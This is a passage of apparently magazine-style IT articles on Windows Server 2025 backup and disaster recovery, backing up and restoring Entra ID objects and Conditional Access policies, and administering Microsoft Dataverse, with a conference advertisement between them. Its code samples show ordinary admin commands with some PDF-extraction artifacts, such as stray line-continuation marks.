requires either a preconfigured network card with DHCP or a manual IP address and gateway assignment in the advanced interface. After selecting the backup set and completing all the restore options, the system starts the write-back process after a safety prompt.

Depending on the size of the backup and the speed of the storage medium, this process can take several hours. On successful completion, the server automatically restarts and can generally be used again just as before the outage. Once the server is up and running, you will want to check services such as Active Directory, SQL Server, or Certificate Authorities, in particular, and carry out any required separate database restores.

Azure Backup in Windows Admin Center

Although local backups ensure a fast restore process, they can quickly reach their limits in the event of site loss, ransomware, or damaged storage media. In addition to bare-metal recovery by directly connected storage devices, Azure Backup offers a fail-safe option to offload backups to the cloud in an automated, encrypted, and geographically independent process. Combining the two approaches significantly increases the resilience of the recovery plan and allows for granular or full restores even if local backup media are no longer available.

Azure Backup integrates directly with Windows Admin Center and offers centralized, end-to-end management of all backup components. Even if a physical server needs to be completely replaced, the system can be restored to its original state – including system status, data, and configurations – through Azure-based recovery.

Windows Admin Center connects to Azure with the Azure hybrid services tool from the *Backup* option in the Tools sidebar. Begin by signing in with an Azure account; then, register the gateway in your subscription. Next, enable *Set up Azure Backup*, select the Location, Vault, encryption passphrase, and backup items. Also configure the schedule, retention period, and data transfer. The Microsoft Azure Recovery Services (MARS) agent (aka Azure Backup agent) is installed automatically. Manual




Figure 2: During system image recovery, Windows Server detects existing backups on connected drives.

registration is also possible with the MARS agent.

Now, launch the wizard from the Start menu and enter the vault information, the encryption password, and the components to be backed up. Select at least the system state, files, and bare-metal recovery. Schedules can be set three times a day. Retention periods are configured per backup point. Once set up, backups are managed in the Admin Center interface or directly on the Azure portal. Restores can be performed selectively or in full with the integrated backup drive.

Automation with Task Scheduler and Event Viewer

In addition to restoring individual files, entire volumes, or entire systems, Windows Server also offers mechanisms for automating events after a successful backup that can be specifically integrated into existing operational workflows, extending the recovery strategy to include controllable follow-up actions, such as external replication, shutdown after backup completion, or network logging. In this way, automated task scheduling complements both local backups and cloud-based Azure backups with specific operations that immediately kick in after backups. Windows Server 2025 lets you link backup jobs to events. Once a scheduled backup has been completed successfully – typically indicated by Event ID 14 in the log under *Microsoft | Windows | Backup* – you can trigger further actions with task scheduling by right-clicking the entry in the event log and selecting *Attach task to this event*. In the wizard that follows, specify the name, user context, and program to be executed – typically a CMD or BAT file. A typical example would be a network replication followed by a controlled shutdown:

```
robocopy "C:\Data" "\\NAS01\Backup\Data" 2
/mir /r:5 /u:10 /log+:C:\Logs\backup.log
shutdown /s /t 30 /c 2
"Backup complete - system is 2
shutting down"
```

This task runs automatically as soon as the associated backup event occurs. All the tasks configured in this way can be found in *Task Scheduler Library | Event Viewer Tasks*. Additional triggers, conditions, or error responses can be defined as properties, if needed. The ability to link backup events directly to subsequent process chains adds flexibility (e.g., for staggered backups to multiple targets or for integrating external script logic), which also means you can use every successful backup operation as a jumping-off point for further actions.

Hyper-V, Storage Replica, Certificate Services

Protecting role and function services is one of the central elements of a DR strategy. Windows Server 2025 comes with tools built-in for various roles that let you back up and restore states: both virtualized workloads and role-based services such as certification authorities.

These components should be backed up regularly and separately from the general volume backup so that, in the event of a recovery, individual roles can be reconstructed independently of the remainder of the system state. For example, you can use the export mechanism to back up virtual machines (VMs) on Hyper-V. The command

```
Export-VM -Name "DC01" -Path "D:\Exports"
```

saves all associated VM files in a portable format, including configurations, virtual disks, and snapshot information. To restore, run the

```
Import-VM -Path "D:\Exports\DC01"
```

command, which supports either re-registration or a complete re-import with a new ID. Additionally, you can set checkpoints for short-term backups before maintenance:

```
Checkpoint-VM 2
-Name "DC01" 2
-SnapshotName "PreUpdate"
```

A word of caution: You should never consider these checkpoints to be your sole backup strategy because they cannot be reliably restored in the event of host failures or file corruption. For high-availability infrastructures with synchronized data storage, Windows Server 2025 Storage Replica offers an option for block-based replication. PowerShell is used for the configuration:

```
New-SRPartnership 2
-SourceComputerName "Host1" 2
-SourceRGName "SRG-1" 2
-SourceVolumeName "D:" 2
-DestinationComputerName "Host2" 2
-DestinationRGName "SRG-2" 2
-DestinationVolumeName "D:"
```

A source and target volume of the same size, formatted with NTFS or the ReFS resilient filesystem (Protogon) and integrated into a replication group setup, is important. Storage Replica is useful for failover scenarios but does not offer a traditional backup function, because it can replicate corrupted states in the event of logical errors, which is why an additional VSS-based backup is recommended.

Besides VM backups and storage-based replication, the certification infrastructure is a critical component. In many environments, it forms the foundation for authentication, VPN access, encrypted communication, and digital signatures. A failure of the certification authority (CA) has an immediate effect on the entire trust structure in Active Directory. A standalone backup and a recovery plan specifically geared for the PKI role is all the more important to have, irrespective of the remaining system's status.

You can use the built-in `certutil` commands to back up Active Directory Certificate Services. The backup includes the database and private keys:

```
certutil -backupdb C:\PKI-Backup
certutil -backupkey C:\PKI-Backup
```

You will want to export the data on a regular basis (e.g., with a scheduled

task script) and transfer the results to external media. To restore the data, you first need to reinstall the CA role on the target system; then, run the restore with:

```
certutil -restoredb C:\PKI-Backup
certutil -restorekey C:\PKI-Backup
```

Consistent certificate templates and revocation list paths are important. Discrepancies often lead to errors when logging in with smart cards or with automated certificate requests. Ideally, you will want to document the state of the CA fully, including CA configuration paths and LDAP publication points to ensure that the CA operates in its original trust context after the restore. By completing targeted backups and restores of these specialized roles, you can add specific reset points for individual services to supplement the general system recovery and respond to individual affected components in an emergency in a granular, controlled manner without a full system rollback.

Monitoring and Troubleshooting

An effective disaster recovery strategy does not start at the recovery point; rather, it starts proactively with monitoring, log analysis, and targeted diagnostics. Windows Server 2025 offers a fairly comprehensive event infrastructure for this purpose; you can access it with `eventvwr.msc`. *Windows Logs* and *Applications and Services Logs* let you analyze security-related and system-specific events.

Custom views are particularly helpful, letting you filter events by role (e.g., Hyper-V, Certificate Services, or SQL Server). They can also be accessed in Server Manager in the *Diagnostics* section in the context of the installed roles. The corresponding EVT files reside in `%SystemRoot%\System32\winevt\Logs`. Pay attention to the following event IDs:

- IDs 8193 and 12289: These errors occur while creating shadow

copies with the VSS, often caused by blocked writers or a lack of disk space.

- ID 14: This message indicates successfully completed backups in the *Microsoft Windows Backup* log.
- ID 5: This ID indicates issues creating a Hyper-V snapshot, often because of missing integration services synchronization.

Windows Server 2025 comes with several built-in troubleshooting tools that address various sources of problems. You can run the `mdsched` command to start the Windows Memory Diagnostic tool, which will run at the next system startup. This tool checks RAM for unstable blocks, timing errors, and defective modules and provides reliable insights in cases of suspicious blue screens or non-repeatable crashes.

A comprehensive overall assessment of the system status can be generated by the `perfmon /report` command. A complete diagnostic report is created within about a minute, listing all relevant configuration deviations, bottlenecks, and recommended remedies in HTML format – including notes on services, drivers, and security settings.

If a blue screen occurs, you can analyze the cause with the external BlueScreenView tool by NirSoft. The application evaluates the minidump files in the `C:\Windows\Minidump\` directory and identifies faulty drivers, the addresses involved, and the associated stop codes, allowing for targeted identification of problematic kernel components or incompatible third-party drivers.

For ongoing monitoring of system resources and analysis of blocking processes, I recommend a combination of Task Manager (with the detailed view enabled) and `resmon.exe`, the built-in resource monitor that lets you evaluate real-time data on CPU usage, disk activity, network connections, and blocked handles. This information can be helpful when services stop responding or processes consume resources uncontrollably.

Conclusion

DR with Windows Server 2025 does not always require expensive add-on software, provided you leverage the available built-in tools. A combination of the graphical backup console, `wbadmin` commands, and PowerShell completely covers all key scenarios from ongoing volume backups to bare-metal restores on new hardware. The process does not just cover the data but also the system state, roles, services, and security settings. Azure Backup provides a cloud extension that complements the local backup plan and supports access to encrypted backup sets regardless of location. Additional features such as event-based job scheduling, role-based recovery (Hyper-V, Certificate Services, replication), consistent VSS diagnostics, and targeted system analysis with `perfmon` create a comprehensive approach that can be fully implemented by native Windows tools. The key strength is not inherent in any specific tool, but in the system as a whole and in your ability as an admin to turn it into a consistent, documented, and verified disaster recovery plan. Remember that you must have the recovery process under control to be able to rely on your backup in an emergency.

Windows Server 2025 provides all the technical prerequisites. The key factor remains whether you use them consistently. Conduct regular restore drills, measure the recovery time objective (RTO) and recovery point objective (RPO), and derive concrete remedies from any deviations. Also, maintain at least one immutable, offline, or hardened read-only copy (the 3-2-1 plus rule) so that neither ransomware nor user errors can compromise your last line of defense. ■

The Author

Thomas Joos is a freelance IT consultant and has been working in IT for more than 20 years. In addition, he writes hands-on books and papers on Windows and other Microsoft topics. Online you can meet him on [<http://thomasjoos.spaces.live.com>].



DrupalCon
Rotterdam 2026
28 September - 1 October

Get ready for DrupalCon Rotterdam 2026!

From 28 September to 1 October 2026, join a vibrant international open-source community in one of Europe's most forward-thinking cities. Discover the future of Drupal through inspiring sessions, hands-on collaboration, and meaningful connections with experts and innovators from around the world.

Industry deep dives

Dedicated summit day focused on specialized industry topics

Insightful sessions

Two conference days with keynotes, expert sessions, and BoFs

Contribution opportunities

Hands-on events and a full dedicated day for giving back to Drupal

Business Insights

Exhibition hall highlighting Drupal solutions and partner innovations

International Splash awards

Honoring outstanding Drupal projects from around the world

Community connection

Social events designed to network and engage with the global community

Secure your ticket now!





Backup and Restore in Entra ID

Safety Rope

Data backup is often overlooked in Microsoft Entra ID. User accounts, groups, and Conditional Access policies need targeted protection. We tell you which objects are backed up automatically, where you need to take action, and how you can effectively combine backups and documentation. By Klaus Bierschenk

At first glance, Microsoft Entra ID does not appear to be a traditional data storage system and does not seem to require a backup. To begin, though, you need to clarify what “data” means in today’s world. In the conventional sense, the term encompasses all the content that users create and modify on a daily basis. When it comes to Entra ID and data backup, this term takes on a different meaning, primarily referring to user accounts, group accounts, and policies. Quickly it becomes clear that Entra ID also has valuable content that you need to back up regularly.

How Secure?

Microsoft makes a clear distinction between different object types (e.g., users or groups), so you have no one-size-fits-all answer to the question of how secure objects are in Microsoft Entra ID. One key factor is the source of truth (i.e., the original origin of an object). If the user lifecycle is in the local Active Directory, for example, the behavior is clearly defined: If you delete a synchronized user in Entra ID, the account first ends up in the recycle bin for user objects, where it remains for 30 days before being permanently removed. Within this period, either you manually restore the user object or it is automatically recreated by the next sync, provided it remains within the

synchronization scope. Note that an automatic restoration will leave the object ID unchanged. As a result, the user account will pop up again at all locations where it was previously used, such as in Conditional Access (CA) policies. If the object is deleted, Microsoft first removes it from these configurations; however, it still becomes available again after the next sync.

The entire process also works in reverse: If you remove a user from the synchronization scope, Entra ID moves them to the Recycle Bin. If you later add the user account back to the scope, the account is not recreated, but restored with the original object ID, which is particularly relevant if a large number of user accounts are accidentally removed when changes are made to the filter rules. After correcting the rules and resyncing, the users are available again, just as before the accident, including all existing references (e.g., in CA policies). Cloud-only accounts behave in a similar way. Here, too, deleted users are first moved to the Recycle Bin. The restore again uses the same object ID, meaning that assignments and configurations are kept; however, the object will be permanently deleted after the 30-day retention period expires. If you subsequently create a new user with the same `userPrincipalName`, it is technically a

new object with a different object ID. For Entra ID, it is then a completely new account. Accordingly, you will need to reset the Conditional Access policies, group memberships, and role relationships manually. As long as deleted objects end up in the Recycle Bin or their source of truth resides in the local Active Directory, the issue of data retention in Entra ID is not really critical. However, things become more complex with cloud-only groups, where Microsoft distinguishes between Microsoft 365 groups and security groups, which behave in very different ways when deleted.

Behavior Depends on Object Type

Microsoft 365 groups behave in a similar way to user accounts when deleted: They end up in the Recycle Bin and can be fully restored within 30 days – including their object IDs and, of course, their members. Security groups now behave similarly to user accounts and Microsoft 365 groups when deleted: As of early 2026, Microsoft introduced soft delete for cloud security groups, meaning deleted groups land in the Recycle Bin and can be restored within 30 days — including their object ID, members, and all existing assignments.

Photo by Pawlra Baxi on Unsplash

This is an important improvement, because the object ID serves as the central reference for role assignments, CA policies, and licensing. Before this change, a deleted security group was permanently gone with no native restore option, and manually recreating it always produced a new object ID, leaving all references broken. Note that soft delete applies to cloud-only security groups. Groups synchronized from on-premises Active Directory are not covered by this feature.

Backing Up Critical Groups

If you export groups and bulk-restore them in PowerShell (e.g., on the basis of a previous export), keep in mind that this process also creates entirely new objects with new object IDs. All references to the original group, such as in CA policies, are lost as a result. In the worst case, the entire Entra tenant can suffer serious consequences. You need to decide carefully which groups are critical and require special protection.

Another risk stems from the default permissions of many admin roles: Not only the Group administrator, but also roles such as the Intune administrator are permitted to delete groups. Additional roles with similar permissions further increase the risk of accidental changes. Several measures are recommended to secure critical group objects proactively:

- Use unique naming, such as, adding the prefix D0-NOT-DELETE in the description.
- Integrate with Privileged Identity Management (PIM) to ensure that only privileged administrators, such as Privileged role administrators, can make changes, which is a particularly useful approach for groups that are assigned roles, although less so for large numbers of groups.
- Assign to an administrative unit (AU) so that access can be specifically restricted. Even a Global administrator has no access by default; although they can reclaim these rights, the risk of human error in day-to-day operations is significantly reduced.

Soft Delete and Restore of AUs

AUs are a powerful concept for managing users, groups, and devices and for delegating administrative tasks in a targeted way. Roles such as User administrator can be assigned on an AU-specific basis; the associated rights then apply exclusively to the objects in that AU.

A deleted AU is initially frustrating because of the overhead involved in defined dynamic membership rules, but the Entra admin center has no visible Recycle Bin – unlike user accounts. Instead, deleted AUs remain

in a soft-delete state for 30 days. You can exclusively access these objects with the Deleted-Items API, which lets you list and restore deleted AUs. The easiest way to access the API is with Graph Explorer and the endpoint shown in the address bar in [Figure 1](#). A GET request returns a JSON list of all deleted AUs from the last 30 days. Remember, you need the object's ID to restore an AU. The endpoint is `https://graph.microsoft.com/v1.0/directory/deletedItems/<object-ID>/zrestore#`. Use the POST HTTP command. If the restore is successful, the API confirms with a 200 OK response. You will then see the restored AU in the Entra admin center with all the properties it had at the time of deletion.

Documenting and Backing Up AUs

You can only restore within 30 days. After that, deleted AUs are permanently lost, which is why you will want to document critical AUs early. One practical approach is to use a PowerShell script to export all relevant AU information to any desired format. Additionally, you might want to prepare a second script that lets you recreate the AU if need be. Unlike groups, the object ID plays a secondary role for AUs. What matters are the members, dynamic rules, roles, and other configurations they contain. As long as this information




Figure 1: Graph Explorer lists deleted items from the Deleted Items API, including AUs.

is documented or exported, you can easily restore an AU by recreating it.

Exporting and Backing Up CA Policies

CA policies are some of the most critical elements in Microsoft Entra ID. They let you centrally control who can access specific resources, whether multifactor authentication (MFA) is required, and from which locations access is permitted. A carefully planned backup and recovery strategy is essential.

Unfortunately, Microsoft does not make it easy for you to back up these policies. The Conditional Access overview dashboard does not have either a backup or an export function and no change history to track which admin made what changes and when. Given the critical nature of these policies, this deficiency is a pain. Although audit logs do exist to track changes, analyzing them is often time consuming and painstaking. Luckily, some practical approaches to backing up CA policies exist. You can create JSON exports directly on the dashboard to help you restore specific policies as needed: It is important to create exports regularly and store them securely. You can automate the export process with

PowerShell; alternatively, you can use Graph Explorer to retrieve policies (Figure 2).

The Entra Exporter PowerShell module offers a particularly convenient solution that helps you export CA policies and many other Entra objects, such as AUs. The module generates a clear directory structure in which the exported JSON files for your backup objects are stored. Although a full restore is not currently supported directly in the Entra admin center, the exported configuration files do mean that you have all the required data at your fingertips in case of an emergency. Since October 2025, CA policies are no longer deleted permanently but are first moved to the Recycle Bin. This feature is currently still in the Public Preview.

Differences in the Restore Process

The files generated by Entra Exporter are primarily in JSON format. However, the restore process can vary depending on the object type:

- AUs: You first need to recreate an AU manually; then, use its new object ID to import the exported JSON files containing the individual content. Depending on the scope and complexity of the

original configuration, this process can take several steps.

- CA policies: The process is simpler in this case: The JSON files created with Entra Exporter are already in the correct format for import, but note a few things in the Entra admin center. To restore, navigate to the *Conditional Access | Policies* section. At the top, you'll find the *Upload policy file* tab. Click it to open a dialog box where you can select the desired JSON file. The files can be imported without any changes, and the policy they contain is restored immediately.

However, be careful not to click the *Save* button, which saves the JSON content, including read-only attributes such as *Id* or *createdDateTime*, and will inevitably result in an error. Instead, select *Review + Create* (Figure 3) to create a new CA policy, where the read-only values are automatically regenerated. All the important configurations, such as included or excluded elements, are transferred correctly.

Entra Exporter creates a separate directory for each CA policy, named after the respective policy ID. If you have a large number of policies, locating a deleted policy can be a bit tricky. In practice, though, a text search in File Explorer will make it




Figure 2: Restoring a deleted AU in Graph Explorer.

easier to find the policy you need. The most important thing in this context is that you have the content available and can quickly restore whatever you need.

Versioned Export with History

By default, Entra Exporter saves its files in the same directory, overwriting the previous export but without history, and history is crucial if you need specifically to restore content from a particular date. History helps you access a specific backup and use specific versions as needed. One option is to store the exports in GitHub, but a simpler approach often does the trick: Use a local Git repository on your own workstation. Two short sample scripts [1] demonstrate how this can be implemented and provide a jumping-off point for custom extensions.

Good Documentation Is Essential

Depending on the criticality of your environment, you need decide for yourself where backups are indispensable and where good documentation

is fine. In any case, CA policies are some of the elements you will want to back up.

That said, Entra Exporter either does not cover the numerous other configuration areas in Entra ID or does so only partially. One example is the settings for Entra Cloud Sync: Unlike its predecessor, Entra Connect Sync, which stores all the configuration data locally, this information is stored entirely within Entra ID in Cloud Sync – currently with no export option – and definitely not for attribute mappings or filter rules.

Although these settings rarely change in the sync setup, they are often extensive and complex. Detailed documentation is essential. Other examples of important but less easily exportable elements include Global Secure Access and configurations from the *Identity Governance* and compliance area, such as access reviews or lifecycle workflows. The Microsoft documentation [2] provides a good starting point, clearly delineating the boundary between the tasks handled by Microsoft and the responsibilities that fall to the administrator. Furthermore, it describes the relevant APIs and the previously discussed concepts of soft and hard

deletes, as well as other important aspects.

Security Prevents Risks

Even better than a good backup is preventing the loss of objects or configurations from the outset. Although Microsoft currently offers only limited backup and export features in Entra ID, the issue of protecting administrative activities is already well addressed.

The consistent use of PIM not only provides protection against malicious attacks, but also reduces the risk of human error. With a clear just-in-time (JIT) and just-enough-access (JEA) strategy, for example, you only work with the Global Reader role in day-to-day operations. When, and only when, you need to make specific changes, you can temporarily request the required permissions. Once the work is completed, these permissions are automatically revoked. This strategy offers protection against both external attacks and accidental misconfigurations.

Additionally, Microsoft provides the protected actions feature, which lets you add an extra layer of security to particularly critical operations,




Figure 3: Restoring a CA policy from a JSON export is relatively simple, provided you created an export.

including changes to CA policies, and hard deletion of objects by the Deleted Item API. Microsoft provides a good introduction in the online documentation [3].

Configuring Protected Actions

In practice, configuring protected actions involves several steps. Under *Conditional Access | Authentication contexts*, you can create a unique identifier that serves as a reference both in protected actions and within a CA policy.

Next, navigate to *Roles & admins | Protected actions* in the Entra admin center to add a new protected action by selecting one of the predefined activities; then, link the corresponding authentication context to this action. Now create a new CA policy under *Target resources* (Figure 4) and instead of selecting applications the

usual way, select the previously defined authentication context. As soon someone tries to run the protected action, the CA policy automatically kicks in. Whether or not the action is permitted depends on the conditions defined in the policy. You can use all known signals from Conditional Access policies, such as enforcing stronger MFA or checking whether the device being used is compliant.

Conclusion

Microsoft Entra ID contains numerous objects, policies, and configurations that you need to back up or document. Some areas can be exported and restored relatively easily, whereas others require significantly more overhead. Unfortunately, the varied behavior during deletion and restoration makes this a complex topic. Armed with a clear backup strategy, supplementary documentation, and the right

tools, you can ensure that you remain capable of taking action, even in an emergency. ■

Info

- [1] Sample scripts for CA export:
[https://github.com/KlaBier/Powershell/tree/main/BackupCAs_Examples%20-%20ExpertsLive2025]
- [2] Best practices for recoverability:
[<https://learn.microsoft.com/en-us/entra/architecture/recoverability-overview>]
- [3] Protected actions in Entra ID:
[<https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/protected-actions-overview>]

Author

Klaus Bierschenk is a Director Consulting Expert at CGI Germany, a speaker at conferences and community events, and technical author of various publications. You can find him on his blog <http://nothingbutcloud.net/>.

... > Roles and administrators | Protected actions > Conditional Access | Policies >

CA116-TESTAdmins-ProtectedAction-DeleteCAPolicies-Grant-OnlyGA

Conditional Access policy

Delete View policy information View policy impact

Name * Authentication context

CA116-TESTAdmins-ProtectedAction-Delet...

Assignments

Users ①

Specific users included and specific users excluded

Target resources ①

1 authentication context included

Network NEW ①

Not configured

Conditions ①

0 conditions selected

Access controls

Grant ①

Enable policy

Report-only On Off

Save

Authentication context is used to secure application data and actions in apps like SharePoint and Microsoft Cloud App Security. [Learn more](#)


Select the authentication contexts this policy will apply to

☐ ProtectDeletedItems

☒ ProtectCAWrites

☐ Admin compliant

Figure 4: Conditional Access policies and protected actions are a perfect combination for providing additional security for administrative tasks.



Working with Microsoft Dataverse

New Worlds

Microsoft Dataverse is used by various Power Platform modules as a database to store, manage, and evaluate information, making data available to Power BI, Power Apps, Power Automate, and Power Pages in a uniform environment. By Nico Thiemer

Microsoft Dataverse is a complex but flexible application. Originally used as a database for Microsoft CRM, this technology was formerly known as Common Data Service (CDS) and then became Microsoft Dataverse in the course of Power Platform development. For this reason, Dataverse has a number of special features: For example, the language (i.e., the way in which the artifacts are designated) has changed over time. What is now a table used to be an entity, and a column was formerly known as metadata. Unfortunately, these changes have not yet been fully implemented in the user interface. In some places, you still encounter an entity – for example, when creating a business process rule. Just replace the term “entity” with “table” in your mind.

The interface has also changed several times. For example, if you see a different GUI from the one you currently have in a blog post or video, the figure is probably outdated. That said, you still need to configure some settings in the old interface as of this

writing. This problem is expected to disappear completely at some point; in fact, you can handle configurations in either the old or new interface, but the new interface is far more intuitive and easier to use.

In this article, I show you how to set up and manage Dataverse; the article that follows (Microsoft Power Pages) shows you how to access Dataverse with Power Pages.

Database as a Hub

Because Dataverse is fully integrated into the Microsoft Power Platform, companies can manage and store their data in a central location and use the data in various applications and analyses. Various programs access Dataverse, including the Dynamics 365 product range, Power Apps, Power Pages, and Power BI. Dataverse offers a uniform and secure data structure that simplifies data management and improves interoperability between different applications. However, these capabilities mean that the administration of a Dataverse

database is different from that of a normal database. You do not have access to the database server, which is managed by Microsoft itself. However, you have many other options, including managing forms, creating workflows, and assigning rights to tables, to name just a few. Every Dataverse database is embedded in an environment that you manage in the Power Platform admin center, accessible at <https://aka.ms/ppac>. Here, you can set up the database, assign rights to tables, and far more. Appropriate roles are available for both administration and working with the database.

The Dataverse database schema is open and available for inspection online [1]. On an image in the middle of the page, you can click on different applications to see which tables are available in which application and how they are structured. To display the schema, the page loads an application, which can take a while. Of course, the schema is customizable and can be extended with your own artifacts.

Complex Licensing

Whether and to what extent you can work with the database is a question of licenses. The rule of thumb is that you need a Power App or Automate Premium license to write and read the database, but they are not necessary if you have a Microsoft application license (e.g., for Dynamics Sales). Licensing is an extremely complex topic, for which you can find an online guide [3].

Environments and Solutions for Data and Apps

Dataverse includes what are known as environments [2], which act as containers for data, applications, and resources. Each environment can be managed and configured independently, ensuring flexibility when developing, testing, and deploying applications. Organizations can create multiple environments to support different business areas or projects and to customize data management and security at each level. Environments make it possible to distinguish between development, testing, and production instances, ensuring a clear demarcation of responsibilities and structured application rollout. You can monitor deployments and optimize the performance of their environments.

Each environment has its own URL, which is randomly generated during

setup but can be changed later. If you access this address and have the appropriate licenses (see the “Complex Licensing” box), you will have access to apps that let you interact with the database and its contents. You can access Dataverse for development and administration purposes by going to <https://make.powerapps.com> in your browser.

Although you do have the option of editing tables directly from the link in the left-hand navigation bar, you might not want to do so. You should only use this link for an overview of the tables and their columns and relationships. To modify a Dataverse database you need what is referred to as a “solution” [4], which is basically a logical container with changes that you can transport across multiple environments. Solutions also make it possible to track who made which changes; in other words, it supports versioning (Figure 1).

Microsoft Dataverse Structure

At the core of Dataverse are tables that function like those in a database. Each table contains a collection of rows (data) and columns (fields). Columns define the type of data that can be stored in the rows (e.g., text, numbers, dates, images, or currency). Among the table types are standard

tables, which cover typical scenarios (e.g., contacts, companies, or products that contain common fields such as name, address, email, and phone number), and custom tables, which let you meet specific data requirements for individual business processes.

Dataverse offers powerful tools and connectors for integrating and migrating data from various sources. Power Query and dataflows help you to extract data from external systems, transform the data, and load the results into Dataverse. These tools support a variety of data sources, including databases, web APIs, and filesystems. They also offer advanced data cleansing and transformation capabilities to ensure that information is consistent and of high quality. Additionally, the tools facilitate the synchronization of data between different systems, ensuring a consistent inventory. Data from third-party systems is stored in virtual tables for this purpose and is particularly interesting if you want to connect Dataverse to line-of-business applications such as SQL Server or SAP.

Each table offers extensive possibilities: When you create a table, you are given a basic set of columns that store information such as who owns a data record, when it was created, and more. The columns let you choose




Figure 1: The numerous predefined tables in Dataverse are very helpful, but should only be edited from the *Solutions* tab.

from a variety of data types, including complex or dynamic content such as formulas or aggregations of other columns in the table. You also have the option of adding your own columns to a standard or custom table.

Each column also has an internal name, which is always lowercase and comprises the assigned column name and a prefix. Unlike the display name, this combination cannot be changed later. The same also applies to any tables you create yourself: They have a display name and an immutable internal name. Therefore, you should consider how you want to name the tables before you jump in. If you have a table with the display name *Services*, but the internal name turns out to be `<prefix>_Product`, the effect can be very confusing. You need the internal name of an artifact when you access Dataverse by code and, for some actions, with Power Automate. Whoever makes an adjustment also specifies the prefix – Microsoft uses *msdyn* for its adjustments.

Establishing Data Structures

Dataverse uses data models to define relationships between tables, which

means each data record can have an owner – shown in the User table. Each table therefore has a relationship to the User table, which makes it possible to map complex data structures and organize the data in a meaningful context. Relationships can be one-to-many, many-to-one, or many-to-many, depending on the application's requirements.

Data models can be used to create consistent and traceable structures that facilitate analysis and reporting. Dataverse supports the process of creating structures by automatically creating the fields required for each new relationship in the tables – or even the entire intermediate table. Relationship design is an activity in the scope of developing the data model.

Views and Forms

One difference between Dataverse and normal databases is that each table comes with views and forms that are used to manage the data. Both can be customized to suit your needs and are available for different form factors. Views are lists that present the data to the user, filtered by criteria. Typical use cases are *My*

Data, all *Active* data, *Inactive* data, and the like. Customization is easy and is a task that the users themselves can handle.

Forms are used to present and work with individual data records. From the outset, each table has at least three forms. One for the desktop, one for mobile devices, and one for use on dashboards. Forms come in various shapes and sizes. For example, the form for creating a data record contains fewer fields than the form for managing a data record. Forms can contain individual tabs that display different data on a single page. Forms have many other components, and if the factory-installed forms are not to your liking, you can create and integrate your own with TypeScript. Although customization is technically very easy thanks to no-code technology, planning exactly where which data should be located is usually very time consuming. Forms are the decisive factor for user acceptance. If the standard form design tools are not sufficient, you can add your own logic with JavaScript for the front end or C# for the back end. This strategy is often used when data is hidden or displayed as a function of the content.

Copy Security Role Rename Security Role Delete Save Save and Close Configure Column View

The System Administrator role cannot be changed.

Settings > Security Roles > System Administrator

Select by table name or table...

Details

Tables Miscellaneous privileges Privacy-Related privileges

Show only assigned tables

Compact grid view On

Table	Name	Record ownership	Permission Settings	Create	Read	Write
Custom Tables (402)						
AI Builder Dataset	msdyn_aibdataset	User or Team	Full Access	Organization	Organization	Organization
AI Builder Dataset File	msdyn_aibdatasetfile	User or Team	Full Access	Organization	Organization	Organization
AI Builder Dataset Record	msdyn_aibdatasetrecord	User or Team	Full Access	Organization	Organization	Organization
AI Builder Datasets Container	msdyn_aibdatasetscontainer	User or Team	Full Access	Organization	Organization	Organization
AI Builder Feedback Loop	msdyn_aibfeedbackloop	User or Team	Full Access	Organization	Organization	Organization
AI Builder File	msdyn_aibfile	User or Team	Full Access	Organization	Organization	Organization

Figure 2: The system administrator role cannot be changed, only copied, customized, and then reassigned.

Another option is to create additional data records from an input. For example, you can enter a payment plan and then use code to calculate the individual installments and incorporate them as a data record or metadata.

Business Logic and Rules

Business rules are created in a visual editor and applied at table or form level to validate input, set defaults, or perform complex calculations. In this way, you make life easier by eliminating the need to write your own code. Dataverse workflows and Power Automate flows let you create automated processes from specific events, such as creating or updating records. These automations help minimize repetitive tasks and boost the efficiency of business processes. Virtually no production system can do without such customizations, and, here too, programming with JavaScript or C# can provide support (plugins) if you need more than the built-in tools.

Security and Access Controls

One key feature of Dataverse is its security infrastructure, which ensures that only authorized users can access and edit data. Security roles

and permissions can be defined at various levels, including tables, rows, and columns. These granular access controls enable companies to protect sensitive data and ensure compliance with data protection regulations. However, in the context of Dataverse, you should always keep in mind that enforcing security in this system can be very complex. Careful planning and constant review are must-haves from the outset in any Dataverse project, especially because retroactive implementation involves a disproportionately high amount of overhead.

Roles are required for all access to enforce security. Roles are preconfigured in Dataverse, with some already in use out of the box. A user is typically assigned several roles, wherein each role defines two properties: who can access a table (read, write, delete, etc.) and what actions are permitted apart from that (e.g., importing or mass deleting data). Roles are defined and assigned at the environment level in the Power Platform admin center. You cannot change system roles. If you need to do so, you must instead copy the role, customize it, and then assign it to the user after disabling their old role (Figure 2). However, certain applications (e.g., Microsoft

Power Pages) ignore the internal security system and build their own layer, which naturally significantly increases complexity.

Dataverse also offers support for encryption technologies and regular security checks to ensure data integrity and confidentiality. Auditing functions help you monitor changes, access, and document security-related events. Note that auditing, in particular, will use up a considerable amount of storage space.

Granular access controls at the row and field level are also available. For example, you can configure the system so that a user group at management level can see a credit card number but the user group of employees cannot. To administer user groups, you can use Entra ID integration to establish a central location for managing users and avoid duplication.

Maintenance and Monitoring

In the Power Platform admin center, you can also configure settings outside of the Dataverse environments. One of the most important settings is capacity management in *Resources | Capacity*; after all, the volume of information in a Dataverse database is limited by the number of licenses you




Figure 3: The number of Dataverse licenses determines the storage capacity – in this case, it has been exceeded for the File category.

purchase. Of course, you can expand this storage space, but to do so, you will need to purchase either more licenses or more storage space. Storage includes the Database (user data), Log, and File categories (Figure 3). Files provide attachments to tables that are stored in the row data. Dataverse administration also includes regular maintenance and monitoring to ensure performance and availability. You can configure system global settings, optimize databases, and diagnose performance issues. Monitoring and logging features help you track changes and activities and detect and resolve security incidents. Regular backups and recovery plans are also crucial for protecting data

integrity and minimizing downtime. The use of analytics tools supports system performance monitoring and helps identify optimization potential.

Conclusion

Microsoft Dataverse offers a robust and flexible platform for managing enterprise data. With its data modeling, business logic, security, and integration capabilities, Dataverse empowers organizations to manage data and develop innovative applications efficiently. Centralized management and seamless integration with the Microsoft Power Platform make Dataverse a tool that helps organizations optimize their data strategies. ■

Info


- [1] Common Data Model: [\[https://github.com/microsoft/CDM\]](https://github.com/microsoft/CDM)
- [2] Environments in Power Platform: [\[https://learn.microsoft.com/en-us/power-platform/admin/environments-overview\]](https://learn.microsoft.com/en-us/power-platform/admin/environments-overview)
- [3] Licensing Microsoft Power Platform: [\[https://learn.microsoft.com/en-us/power-platform/admin/pricing-billing-skus\]](https://learn.microsoft.com/en-us/power-platform/admin/pricing-billing-skus)
